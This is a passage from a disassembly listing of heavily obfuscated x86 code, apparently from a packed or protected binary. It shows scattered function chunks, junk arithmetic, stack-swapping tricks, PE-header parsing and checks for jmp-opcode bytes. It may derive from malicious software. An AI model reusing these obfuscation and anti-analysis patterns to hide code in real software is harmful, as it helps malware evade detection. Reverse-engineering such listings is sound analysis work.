		jmp	sub_42841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426708


loc_4261BC:				; CODE XREF: sub_426708:loc_4264ADj
		mov	eax, ds:dword_4233A0
		or	eax, eax
		jnz	loc_423B9C
		jmp	loc_426E5A
; END OF FUNCTION CHUNK	FOR sub_426708
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_4261CF:				; CODE XREF: sub_424698+455Aj
		add	eax, 4C448979h


loc_4261D5:				; CODE XREF: sub_424698:loc_424153j
		call	sub_424877
		push	94857662h
		pop	edx
		and	edx, 5930BFE2h
		jmp	loc_427657
; END OF FUNCTION CHUNK	FOR sub_424698
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4261EC:				; CODE XREF: hjohnhn9:00427E3Aj
		jmp	loc_425066
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427994


loc_4261F1:				; CODE XREF: sub_427994+10j
		jmp	loc_4239EC
; END OF FUNCTION CHUNK	FOR sub_427994
; ---------------------------------------------------------------------------


loc_4261F6:				; CODE XREF: hjohnhn9:0042841Aj
		add	ebp, edi
		shl	ecx, 6
		jnp	loc_42403E
		jmp	loc_426EA6
; ---------------------------------------------------------------------------
		adc	ecx, 110AAC48h
		jmp	loc_427850

; =============== S U B	R O U T	I N E =======================================



sub_426211	proc near		; CODE XREF: sub_423D1C+5p
					; sub_4260BD+CE8j

; FUNCTION CHUNK AT 00423241 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424526 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004250CF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042765C SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	7FDD7FB8h
		pop	edi
		and	edi, 82A2154Ch
		test	edi, 400000h
		jmp	loc_423241
sub_426211	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	edx, [esi]
		jmp	sub_425029
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_426235:				; CODE XREF: sub_425BD2:loc_428CAAj
		xchg	ebp, [esp+4+var_4]
		jmp	loc_423771
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42855B


loc_42623D:				; CODE XREF: sub_42855Bj
		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp+4+var_4]
		mov	ebp, esp
		jmp	loc_423320
; END OF FUNCTION CHUNK	FOR sub_42855B
; ---------------------------------------------------------------------------
		cmp	ebx, 0D69F4B63h
		jmp	loc_427B6D
; ---------------------------------------------------------------------------


loc_426255:				; DATA XREF: sub_4250C3+3E9Fo
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		jmp	loc_423D33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_426268:				; CODE XREF: sub_423CDB:loc_4267FCj
		xor	eax, eax


loc_42626A:				; CODE XREF: sub_42355C:loc_425E06j
					; sub_425029:loc_428823j
		jmp	loc_424BB4
; END OF FUNCTION CHUNK	FOR sub_423CDB

; =============== S U B	R O U T	I N E =======================================



sub_42626F	proc near		; DATA XREF: sub_424A78+4116o

; FUNCTION CHUNK AT 0042302C SIZE 00000005 BYTES

		jz	loc_4242D9
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_426287
		pop	ecx


loc_42627F:				; CODE XREF: sub_427C9B+23j
		mov	[ebp-20h], eax
		jmp	loc_42302C
sub_42626F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426287	proc near		; CODE XREF: sub_42626F+Ap
		push	ebp
		mov	ebp, esp
		jmp	sub_424A55
sub_426287	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426523


loc_42628F:				; CODE XREF: sub_426523+Dj
		jno	loc_42845E
		idiv	ecx
		push	ecx
		push	6587844Bh
		pop	ecx
		jmp	loc_4290A3
; END OF FUNCTION CHUNK	FOR sub_426523
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A36


loc_4262A3:				; CODE XREF: sub_427A36+9j
		push	ecx
		cmp	ds:dword_423940, 0
		jz	loc_427EAB
		mov	eax, ds:dword_423940
		mov	eax, [eax]
		push	offset sub_4262DA
		jmp	loc_42888D
; END OF FUNCTION CHUNK	FOR sub_427A36

; =============== S U B	R O U T	I N E =======================================



sub_4262C2	proc near		; DATA XREF: sub_4263E3-1814o
		xor	eax, eax
		retn
sub_4262C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262C5	proc near		; CODE XREF: sub_4279C8p
					; sub_4263E3+1B38p ...

; FUNCTION CHUNK AT 00423288 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423466 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042389B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00423B1F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00423C0D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00423F0B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424ADE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424E63 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004251E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004264E3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004265F3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042761C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00427C18 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00428031 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00428B61 SIZE 0000000B BYTES

		jo	sub_4266B5
		call	sub_426671


loc_4262D0:				; CODE XREF: hjohnhn9:0042656Ej
		jmp	loc_4265F3
sub_4262C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424EC9


loc_4262D5:				; CODE XREF: sub_424EC9+5j
		jmp	loc_427E0A
; END OF FUNCTION CHUNK	FOR sub_424EC9

; =============== S U B	R O U T	I N E =======================================



sub_4262DA	proc near		; DATA XREF: sub_427A36-177Eo
		mov	ds:dword_423944, eax
		xor	eax, eax
		push	offset sub_4278EC
		jmp	nullsub_16
sub_4262DA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_4262EB:				; CODE XREF: sub_426354:loc_42323Cj
		jnz	loc_427B58
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		jmp	loc_428B67
; ---------------------------------------------------------------------------


loc_426302:				; CODE XREF: sub_426354:loc_427A11j
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_427B58
		jmp	loc_428388
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426708


loc_426311:				; CODE XREF: sub_426708:loc_426E5Aj
		jz	loc_4247A4
		jmp	loc_426947
; END OF FUNCTION CHUNK	FOR sub_426708
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426671


loc_42631C:				; CODE XREF: sub_426671+122Aj
		add	ebp, eax
		xchg	edi, [esi]
		jmp	loc_423FCD
; END OF FUNCTION CHUNK	FOR sub_426671
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_426325:				; CODE XREF: sub_4260BD-16A5j
		xchg	esi, eax
		jmp	loc_42604A
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------


loc_42632C:				; CODE XREF: hjohnhn9:0042397Fj
		xor	eax, 0C53AEA7h
		rol	ebp, 1Ah


loc_426335:				; CODE XREF: hjohnhn9:loc_427208j
		mov	eax, [ebp-4]
		xor	edx, edx
		call	sub_425E94
; START	OF FUNCTION CHUNK FOR sub_426CC8


loc_42633F:				; CODE XREF: sub_426CC8+2EBj
		jmp	loc_4286BD
; END OF FUNCTION CHUNK	FOR sub_426CC8
; ---------------------------------------------------------------------------


loc_426344:				; CODE XREF: hjohnhn9:00426F3Fj
		jmp	loc_425BE0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4247F4


loc_42634A:				; CODE XREF: sub_4247F4+429Ej
		jmp	loc_4263F6
; END OF FUNCTION CHUNK	FOR sub_4247F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E4F


loc_42634F:				; CODE XREF: sub_424E4F+9j
		jmp	loc_4244D3
; END OF FUNCTION CHUNK	FOR sub_424E4F

; =============== S U B	R O U T	I N E =======================================



sub_426354	proc near		; CODE XREF: hjohnhn9:0042738Dj
					; sub_426354:loc_42909Ep

; FUNCTION CHUNK AT 0042323C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423350 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423451 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004238BA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00424B60 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00424D6D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00425270 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00425C05 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00425E20 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00425EC5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00425F00 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004262EB SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00426938 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426E07 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004275D2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00427927 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427A11 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00427AB5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428388 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004283BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042854C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004285DA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042875B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004287E0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00428BAC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042909E SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		jnb	loc_424B60
		cmp	dword ptr [ebp-1Ch], 66h
		push	offset sub_424B4A
		jmp	loc_4285DA
sub_426354	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42636C	proc near		; CODE XREF: sub_42325E+B9Ep
					; hjohnhn9:004281B4j

; FUNCTION CHUNK AT 00423671 SIZE 0000001C BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ecx
		push	0F5848676h
		pop	ecx
		jmp	loc_423671
sub_42636C	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	edx, 84014F17h
		jmp	loc_4267EC
; ---------------------------------------------------------------------------


loc_426388:				; CODE XREF: hjohnhn9:loc_4270CAj
		test	eax, 0A07829E3h
		jmp	loc_427763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427AC0


loc_426393:				; CODE XREF: sub_427AC0+Aj
		pop	ecx
		xor	ecx, 0FA943B2h
		add	ecx, 0CC3B5D4Bh


loc_4263A0:				; CODE XREF: sub_425BD2-1CA0j
		xor	ecx, 4FB64A39h
		xchg	ecx, [esp+0]
		lea	eax, [ebp-34h]
		jmp	loc_424251
; END OF FUNCTION CHUNK	FOR sub_427AC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C0


loc_4263B1:				; CODE XREF: sub_4279C0-3545j
		push	edi
		mov	edi, edx
		xchg	edi, [esp+4+var_4]
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+8+var_8]
		call	sub_4279C0
		jmp	loc_427FF5
; END OF FUNCTION CHUNK	FOR sub_4279C0

; =============== S U B	R O U T	I N E =======================================



sub_4263C7	proc near		; CODE XREF: hjohnhn9:00427224j
					; hjohnhn9:00427B83p
		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-4]
		call	sub_428CE7
sub_4263C7	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_427486


loc_4263D3:				; CODE XREF: sub_427486:loc_424E99j
		jmp	nullsub_26
; END OF FUNCTION CHUNK	FOR sub_427486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424C5F


loc_4263D8:				; CODE XREF: sub_424C5F+11j
		jmp	nullsub_72
; END OF FUNCTION CHUNK	FOR sub_424C5F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_4263DE:				; CODE XREF: sub_423B05+15B7j
		jmp	loc_428D80
; END OF FUNCTION CHUNK	FOR sub_423B05

; =============== S U B	R O U T	I N E =======================================



sub_4263E3	proc near		; DATA XREF: sub_428F0B-596Do

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004248A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424BCE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425056 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004250A8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004265E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426C9B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00427F10 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00427FED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428A14 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004290A8 SIZE 0000000A BYTES

		mov	eax, ds:dword_42339C
		or	eax, eax
		jnz	loc_427FED
		jmp	loc_4248A6
sub_4263E3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4247F4


loc_4263F6:				; CODE XREF: sub_4247F4:loc_42634Aj
		mov	[esi], eax
		pop	esi
		mov	eax, [ebp-4]
		pop	ecx
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_4247F4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424564


loc_426402:				; CODE XREF: sub_424564:loc_427F75j
		cmp	ds:dword_4252DC[eax*4],	0
		jz	loc_42755C
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0CFh
		jz	loc_427555
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0E9h
		jz	loc_427555
		jmp	loc_427FC9
; END OF FUNCTION CHUNK	FOR sub_424564
; ---------------------------------------------------------------------------


loc_42642D:				; CODE XREF: hjohnhn9:0042425Cj
		and	ecx, 695284E5h
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_426433:				; CODE XREF: sub_42466E:loc_42424Bj
		add	ebx, 49588021h
		add	eax, ebx
		pop	ebx
		mov	[ebp-4], eax
		mov	eax, [ebp-10h]
		test	eax, eax
		jmp	loc_425D3D
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427DE6


loc_426449:				; CODE XREF: sub_427DE6:loc_425F06j
		push	0
		call	sub_424AAE
		xor	eax, [ebp-8]
		push	offset loc_427CD0
		jmp	loc_4264B2
; END OF FUNCTION CHUNK	FOR sub_427DE6

; =============== S U B	R O U T	I N E =======================================



sub_42645D	proc near		; CODE XREF: sub_423B05:loc_425252p
					; hjohnhn9:00425F7Cj

; FUNCTION CHUNK AT 0042871E SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	eax
		ror	eax, 11h
		push	offset sub_424831
		jmp	loc_42871E
sub_42645D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_42646F:				; CODE XREF: sub_424698:loc_42469Ej
		push	ecx
		jmp	loc_42893A
; END OF FUNCTION CHUNK	FOR sub_424698

; =============== S U B	R O U T	I N E =======================================



sub_426475	proc near		; DATA XREF: sub_4275B2+Eo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423027 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004231C3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004234D8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00425B6B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00425E69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042602D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00426E9B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427EA1 SIZE 00000005 BYTES

		call	sub_424AAE
		xor	eax, [ebp-8]
		mov	byte ptr [eax],	5Bh
		call	sub_424AAE
		xor	eax, [ebp-8]
		inc	eax
		mov	edx, [ebp-4]
		jmp	loc_423027
sub_426475	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_426491:				; CODE XREF: sub_424819:loc_426A03j
					; hjohnhn9:00428AD3j
		xor	edx, 75C89949h
		add	edx, 822762DFh
		xchg	edx, [esp-4+arg_0]
		push	eax
		pushf
		push	1C160C50h
		jmp	loc_423394
; END OF FUNCTION CHUNK	FOR sub_424819

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4264AC	proc near		; CODE XREF: sub_428183:loc_42335Cj
		retn
sub_4264AC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426708


loc_4264AD:				; CODE XREF: sub_426708+Dj
		jmp	loc_4261BC
; END OF FUNCTION CHUNK	FOR sub_426708
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427DE6


loc_4264B2:				; CODE XREF: sub_427DE6-198Ej
		jmp	nullsub_40
; END OF FUNCTION CHUNK	FOR sub_427DE6
; ---------------------------------------------------------------------------


loc_4264B7:				; CODE XREF: hjohnhn9:00425D98j
		jmp	loc_428922
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D9D


loc_4264BC:				; CODE XREF: sub_427D9D:loc_42838Dj
		mov	edx, [edx-8]
		or	edx, 40h
		or	eax, edx
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_423F3D
; END OF FUNCTION CHUNK	FOR sub_427D9D

; =============== S U B	R O U T	I N E =======================================



sub_4264CF	proc near		; CODE XREF: sub_4251D3+9p
					; hjohnhn9:00428901j

; FUNCTION CHUNK AT 00427392 SIZE 00000015 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, ds:dword_428AE4
		call	sub_427486


loc_4264DE:				; CODE XREF: sub_424377+3414j
		jmp	loc_427392
sub_4264CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_4264E3:				; CODE XREF: sub_4262C5-26B0j
		rol	eax, 12h


loc_4264E6:				; CODE XREF: sub_4262C5:loc_428031j
		call	sub_426CE6


loc_4264EB:				; CODE XREF: sub_428D64-5ECj
		jmp	loc_427C18
; END OF FUNCTION CHUNK	FOR sub_4262C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C98


loc_4264F0:				; CODE XREF: sub_425C98+7j
		jmp	loc_42877D
; END OF FUNCTION CHUNK	FOR sub_425C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_4264F5:				; CODE XREF: sub_424631-163j
		jmp	loc_424C46
; END OF FUNCTION CHUNK	FOR sub_424631

; =============== S U B	R O U T	I N E =======================================



sub_4264FA	proc near		; CODE XREF: sub_426A78-4F5p
					; hjohnhn9:004268AEj

; FUNCTION CHUNK AT 004248D0 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_4279ED
		push	eax
		ror	eax, 9
		mov	ds:dword_428380, eax
		jmp	loc_4248D0
sub_4264FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jle	loc_428B67
		and	ebx, 0D4E35CF9h
		jmp	sub_423369

; =============== S U B	R O U T	I N E =======================================



sub_426523	proc near		; CODE XREF: hjohnhn9:004249F7j
					; sub_425B34+Ap

; FUNCTION CHUNK AT 0042628F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042845E SIZE 0000000F BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-8]
		mov	ecx, 0Ah
		cdq
		jmp	loc_42628F
sub_426523	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_426535:				; CODE XREF: sub_424631:loc_424CAAj
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_42392D
		pop	ecx
		jmp	loc_426E35
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424564


loc_426547:				; CODE XREF: sub_424564+8BBj
		jz	loc_427555
; END OF FUNCTION CHUNK	FOR sub_424564
; START	OF FUNCTION CHUNK FOR sub_426C09


loc_42654D:				; CODE XREF: sub_426C09:loc_428F8Ej
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E9h
		jz	loc_427555
; END OF FUNCTION CHUNK	FOR sub_426C09
; START	OF FUNCTION CHUNK FOR sub_4284CB


loc_426559:				; CODE XREF: sub_4284CB:loc_427FC9j
		mov	eax, [ebp-4]


loc_42655C:				; CODE XREF: sub_427564:loc_428906j
		jmp	loc_423C85
; END OF FUNCTION CHUNK	FOR sub_4284CB
; ---------------------------------------------------------------------------


loc_426561:				; DATA XREF: sub_428309+6o
		pop	ebp
		push	464D8703h
		pop	eax
		sub	eax, 0C8CE68BBh
		jmp	loc_4262D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_426573:				; CODE XREF: sub_426A78+2468j
		pop	edi
		push	0EC8CA081h


loc_426579:				; CODE XREF: sub_426A78:loc_423217j
		call	sub_424877
		mov	edx, 8D40711Dh
		call	sub_4264FA


loc_426588:				; CODE XREF: sub_42841F-916j
		jg	loc_423041


loc_42658E:				; CODE XREF: sub_42841F:loc_423D11j
		push	ebp
		push	esi
		push	edi
		push	ebx
		jmp	loc_4233C8
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------


loc_426597:				; CODE XREF: hjohnhn9:004243CFj
		jnp	loc_426B63
		mov	[ebp+0], eax

; =============== S U B	R O U T	I N E =======================================



sub_4265A0	proc near		; CODE XREF: sub_423D67-B55p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004270C5 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 0BAC28E35h
		xchg	eax, [esp-4+arg_0]
		jmp	loc_4270C5
sub_4265A0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E4F


loc_4265B3:				; CODE XREF: sub_424E4F:loc_42872Aj
		jmp	loc_428B82
; END OF FUNCTION CHUNK	FOR sub_424E4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_4265B8:				; CODE XREF: sub_425BD2+2B37j
		jmp	loc_427253
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------

locret_4265BD:				; CODE XREF: hjohnhn9:loc_424723j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428965


loc_4265BE:				; CODE XREF: sub_428965+10j
		jmp	nullsub_68
; END OF FUNCTION CHUNK	FOR sub_428965
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42363F


loc_4265C3:				; CODE XREF: sub_42363F+198Cj
		jmp	loc_426FB8
; END OF FUNCTION CHUNK	FOR sub_42363F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4231AD


loc_4265C8:				; CODE XREF: sub_4231AD+1B52j
		jmp	loc_427FA4
; END OF FUNCTION CHUNK	FOR sub_4231AD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265CD	proc near		; CODE XREF: hjohnhn9:00426AB9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004232EB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042352D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004235F0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042403E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00424449 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424737 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00425D6F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00425F4D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426B68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427A9C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00427FAF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428576 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		push	edx
		push	ecx
		pop	edx
		xchg	edx, [esp+0]
		mov	esp, ebp
		jmp	loc_424737
sub_4265CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	eax, 0B756ED04h
		jmp	sub_426961
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E3


loc_4265E9:				; CODE XREF: sub_4263E3+1B40j
		jmp	loc_424BCE
; END OF FUNCTION CHUNK	FOR sub_4263E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424877


loc_4265EE:				; CODE XREF: sub_424877-22Bj
		call	sub_428D49
; END OF FUNCTION CHUNK	FOR sub_424877
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_4265F3:				; CODE XREF: sub_4262C5:loc_4262D0j
		or	eax, 20B003h
		test	eax, 40000h
		jmp	loc_428031
; END OF FUNCTION CHUNK	FOR sub_4262C5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426604	proc near		; CODE XREF: sub_426708j

; FUNCTION CHUNK AT 00428C3F SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		call	sub_425DE4


loc_426610:				; DATA XREF: sub_424631-14AEo
		or	dword ptr [eax-8], 8
		jmp	loc_428C3F
sub_426604	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_426619:				; CODE XREF: sub_424631+3178j
					; sub_424631+3185j
		jnb	loc_423EE2
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_42516C
		mov	eax, [ebp+8]
		push	eax
		jmp	loc_424CAA
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------


loc_426632:				; CODE XREF: hjohnhn9:00427B75j
		jns	loc_426796

; =============== S U B	R O U T	I N E =======================================



sub_426638	proc near		; CODE XREF: sub_423BC3:loc_423388p

; FUNCTION CHUNK AT 004230FD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00427F44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427F5F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edx
		push	2625621Bh
		pop	edx
		jmp	loc_427F5F
sub_426638	endp

; ---------------------------------------------------------------------------
		and	edi, eax
		jmp	loc_423AF1
; ---------------------------------------------------------------------------

locret_42664F:				; CODE XREF: hjohnhn9:00428BA5j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_426650:				; CODE XREF: sub_424631-A7Ej
		jmp	loc_424314
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_426655:				; CODE XREF: sub_424161-603j
		mov	eax, ebp
		pop	ebp
		and	eax, 43C3D247h
		rol	eax, 0Ah
		add	eax, 58B6A62Ch
		call	sub_427C9B
; END OF FUNCTION CHUNK	FOR sub_424161
; START	OF FUNCTION CHUNK FOR sub_424B4A


loc_42666C:				; CODE XREF: sub_424B4A+11j
		jmp	loc_425ED0
; END OF FUNCTION CHUNK	FOR sub_424B4A

; =============== S U B	R O U T	I N E =======================================



sub_426671	proc near		; CODE XREF: hjohnhn9:00424096j
					; sub_4262C5+6p

; FUNCTION CHUNK AT 0042316A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00423FCD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00426019 SIZE 00000014 BYTES
